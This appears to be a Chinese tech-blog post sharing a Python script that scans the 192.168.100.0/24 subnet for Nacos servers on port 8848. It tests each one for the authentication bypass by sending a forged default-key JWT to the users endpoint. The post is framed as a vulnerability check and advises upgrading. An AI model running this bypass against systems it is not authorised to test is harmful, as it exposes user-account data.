电子说
官方确认,低版本的nacos服务管理平台存在多个安全漏洞。这些漏洞可能导致配置文件中的敏感信息泄漏或系统被入侵的风险。
今天浩道跟大家分享一个python脚本,主要用于自动检测某网段内主机上可能存在的nacos漏洞,可以方便大家对某网段内多台主机进行检测,一起看看吧!
如存在漏洞,建议及时升级nacos服务管理平台的版本,并修改默认密码,删除多余管理账号。
nacos.py脚本信息如下,大家可以根据自己实际网段修改对应代码即可。该脚本实现扫描的是192.168.100.0网段内主机上的nacos漏洞。
import requests
import urllib3
import threading
import socket
urllib3.disable_warnings()
# 定义自定义路径和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
header = {
"User-Agent": "Nacos-Server",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Pragma": "no-cache",
"Te": "trailers",
"Cache-Control": "no-cache",
}
# 定义函数,用于发起GET请求并判断回显结果,每次调用这个函数发送一个请求
def send_request(url):
full_url = url + custom_path # 拼接完整URL
try:
response = requests.get(full_url, headers=header, verify=False, timeout=2)
if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
print(f'{url} 存在nacos身份验证绕过漏洞')
else:
print(f'{url} 不存在nacos身份验证绕过漏洞')
except requests.exceptions.RequestException as e:
print(f'{url} 访问失败 {e}')
# Function to check if port 8848 is open on a given IP address
def is_port_open(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2) # Set a timeout of 2 seconds for the connection attempt
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
# Scan the 192.168.100.1 network segment for hosts with port 8848 open
nacos_hosts = []
for i in range(1, 256):
ip_address = f'192.168.100.{i}'
if is_port_open(ip_address, 8848):
nacos_hosts.append(ip_address)
# Perform Nacos vulnerability check for hosts with port 8848 open
if not nacos_hosts:
print("No Nacos server found on port 8848 in the 192.168.100.1 network segment.")
else:
print(f"Found Nacos server(s) on port 8848: {', '.join(nacos_hosts)}")
threads = []
for host in nacos_hosts:
t = threading.Thread(target=send_request, args=(f"http://{host}:8848",))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
以下针对三个网段执行脚本,如下图所示:



责任编辑:彭菁
全部0条评论
快来发表一下你的评论吧 !